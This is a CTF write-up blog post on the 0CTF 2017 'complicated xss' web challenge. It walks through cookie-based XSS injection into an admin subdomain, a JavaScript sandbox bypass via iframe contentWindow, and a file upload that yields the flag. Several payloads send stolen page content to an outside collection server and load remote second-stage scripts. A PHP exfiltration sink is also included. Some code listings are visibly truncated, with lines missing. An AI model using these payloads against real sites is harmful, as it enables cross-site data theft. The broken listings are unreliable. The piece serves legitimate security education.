## Monday, March 20, 2017

### 0CTF 2017 - complicated xss (web 177)

Complicated xss was a client-side web security task revolving around, well, XSSes. At the very start you were handed a way to XSS the admin (limited by proof of work) and the location of the flag - http://admin.goverment.vip:8000. And well, all you knew.

I started by writing a solved for the proof-of-work, since that would be needed to get any real testing done anyway. First I wanted to do an "at request" brute force, but in the end I decided that a proof-of-work with 24-bit solution space can just be pre-calculated (24-bits means it is only 16 milion hashes - not a lot). So I've run the following script (note that I calculated more hashes just to decrease the probability of missing a hash substring on the generated list):

import md5
for i in range(0, 0x2000000):
s = "%.8x" % i
print "%s %s" % (md5.md5(s).hexdigest(), s)

Then I've run sort (the command line tool) on the output, and saved it to md5sump.sorted file (about 1.5 GB). Since I took care for each line to be same size, the final file was ideal for binary search and resulted in ~0.0005sec  (~32 seeks; Windows was nice enough to cache the file in RAM) per proof-of-work on average.

Having that solved I prepared another tool - one to do fast submissions so I wouldn't have to go through the website each time. The tool was basically an infinite loop that grabbed a new proof-of-work substring, binary-searched for the solution (and repeated in the event of not having a given substring on the list), and waited for me to press enter; then it grabbed payload.js file and uploaded its content to the challenge server, and restarted the loop. The tool itself:

import httplib
import re
import urllib
import time

PHPSESSID = "164l560708f930f473k1s461a1"

def fetch_substr():
conn = httplib.HTTPConnection("government.vip")
r1 = conn.getresponse()
res = re.search(r"=== '([0-9a-f]+)'\).", data1)
conn.close()
return res.group(1)

params = urllib.urlencode({
})

"Content-type": "application/x-www-form-urlencoded"
}

conn = httplib.HTTPConnection("government.vip")
r = conn.getresponse()
conn.close()
return data

def solution(s):
line_len = len("0000000702e3e0e0848435ed83afff57 00451787\r\n")

with open("md5dump.sorted", "rb") as f:
L = 0
R = 33554432-1

while R - L > 1:
C = L + (R - L) / 2
offset = C * line_len
f.seek(offset)
#print ln

return ln.split(" ")[1]

R = C
continue

L = C

return None

while True:
print "\n------------------ New Stage"

while True:
s = fetch_substr()
print "New substring:", s
st = time.time()
s = solution(s)
en = time.time()
print "Solution:", s, "(in %f sec)" % (en - st)
if s is not None:
break

print "Ready. Press ENTER to fire."
raw_input()

There was one more tool I needed before I could focus on the task - a sink for whatever I leak from the server. In my case it took the form of a small PHP script on one of my WWW servers:

<?php

$f = fopen("/tmp/0ctf", "w");$date = date('Y-m-d H:i:s');
fwrite($f,$date . "\n\n");
if (!isset($_REQUEST['b'])) { fwrite($f, "---no data---\n");
} else {
$b =$_REQUEST['b'];
$b = str_replace(" ", "+",$b);

fwrite($f,$b . "\n\n---decoded---\n");
fwrite($f, base64_decode($b));
}
fclose(\$f);

The script basically received data (supported both GET and POST), decoded it (assuming it was base64 encoded) and saved to /tmp/0ctf file.

On one of the terminals I actually had watch cat /tmp/0ctf running, so if any data was sent in, I would immediately see it.

After all that code I could finally start the task (well OK, to be honest parts of these tools were modified/improved when I already worked on the task).

The first thing I checked was whether the XSS we were handed in admin.government.vip:8000 or in government.vip:80 context - it turned out the latter, so the first order of business was to find an XSS in the former.

It turned out that admin.government.vip:8000 was using a cookie called username that contained the, well, name of the user. And it was displayed by server-side in an unsanitized way, so that was our vector right there.

Given that we already were given code execution on government.vip domain, and that the same origin policy for cookies ignores the port, we could create a "all subdomains"-scoped username cookie with the initial XSS to overwrite the username cookie in the admin.government.vip:8000 context. Then it still took several minutes to get the proper XSS payload in the cookie (URL encoding wasn't decoded and semicolons in cookies have a special meaning, so the cookie-javascript-payload could not have any semicolons at all), but finally I arrived at this (it's the initial payload that was submitted on the first form):

'"><script>
// This script contains pieces of code which I used for
// "looking around" in earlier stages. I'll leave it here
// since someone might find it interesting.
var sendstuff = function(data) {
var http = new XMLHttpRequest();
var url = "http://gynvael.coldwind.pl/0ctf.php";
var params = "b=" + btoa(data);
http.open("POST", url, true);
http.send(params);
};

uname = "test<img src=a onerror=k=document.createElement('script'),k.setAttribute('src','http://gynvael.coldwind.pl/0ctfstage2.js'),document.body.appendChild(k)>";

var f = document.createElement("iframe");
/*
try {
//var k = Object.keys(f.contentWindow);
var output = "";
for (var k in f) {
output += k + ": " + f[k] + "\n";
}

sendstuff(output);
} catch (e) {
sendstuff("Error: "+e);
}*/
};
document.body.appendChild(f);

</script>

The XSS payload in the cookie (see the "uname =" line) basically creates a <script> element (in admin.government.vip:8000 context) with src pointing to the second stage javascript file placed somewhere on my servers.

The second stage (admin.government.vip:8000 context) greeted me with a "javascript sandbox":

<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>

Since I actually used XMLHttpRequest to leak data, I wasn't too happy about that, but it turned out that it was enough to create a new IFRAME object and grab XMLHttpRequest object from its contentWindow property.

...
var f = document.createElement('iframe');
window.XMLHttpRequest = f.contentWindow.XMLHttpRequest;
//sendstuff("works again");
...
};
document.body.appendChild(f);
...

Leaking the document.body.innerHTML revealed an upload form:

<p><input type="file" name="file"></p>
</p></form>

Since XMLHttpRequest was available again, I was able to use it to upload a JavaScript-created file (using FormData and Blob) and receive (and leak) the reply using the following snippet:

try {

var xhr = new XMLHttpRequest;
sendstuff(xhr.responseText);
}
};

var formData = new FormData();
var content = "ala ma kota";
var blob = new Blob([content], {type: "text/plain"});
formData.append("file", blob, "hithereasdf.txt");

xhr.send(formData);

} catch (e) {
sendstuff("Error: " + e);
}

I actually expected that I'll have to e.g. upload a PHP shell and look for the flag through that, but it turned out that that was enough and the server awarded me with a flag in the response! :)

In case the screenshot is too small:

# cat /tmp/0ctf
2017-03-18 22:16:31

ZmxhZ3t4c3NfaXNfZnVuXzIzMzMzMzN9

---decoded---
flag{xss_is_fun_2333333}

And that's it!

var lamesend = function(data) {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://gynvael.coldwind.pl/0ctf.php?b=' + btoa(data));
document.body.appendChild(f);
}

var sendstuff = function(data) {
var http = new XMLHttpRequest();
var url = "http://gynvael.coldwind.pl/0ctf.php";
var params = "b=" + btoa(data);
http.open("POST", url, true);
http.send(params);
}

var f = document.createElement('iframe');
window.XMLHttpRequest = f.contentWindow.XMLHttpRequest;
//sendstuff("works again");

try {

var xhr = new XMLHttpRequest;
sendstuff(xhr.responseText);
}
};

var formData = new FormData();
var content = "ala ma kota";
var blob = new Blob([content], {type: "text/plain"});
formData.append("file", blob, "hithereasdf.txt");

xhr.send(formData);

} catch (e) {
sendstuff("Error: " + e);
}

};
document.body.appendChild(f);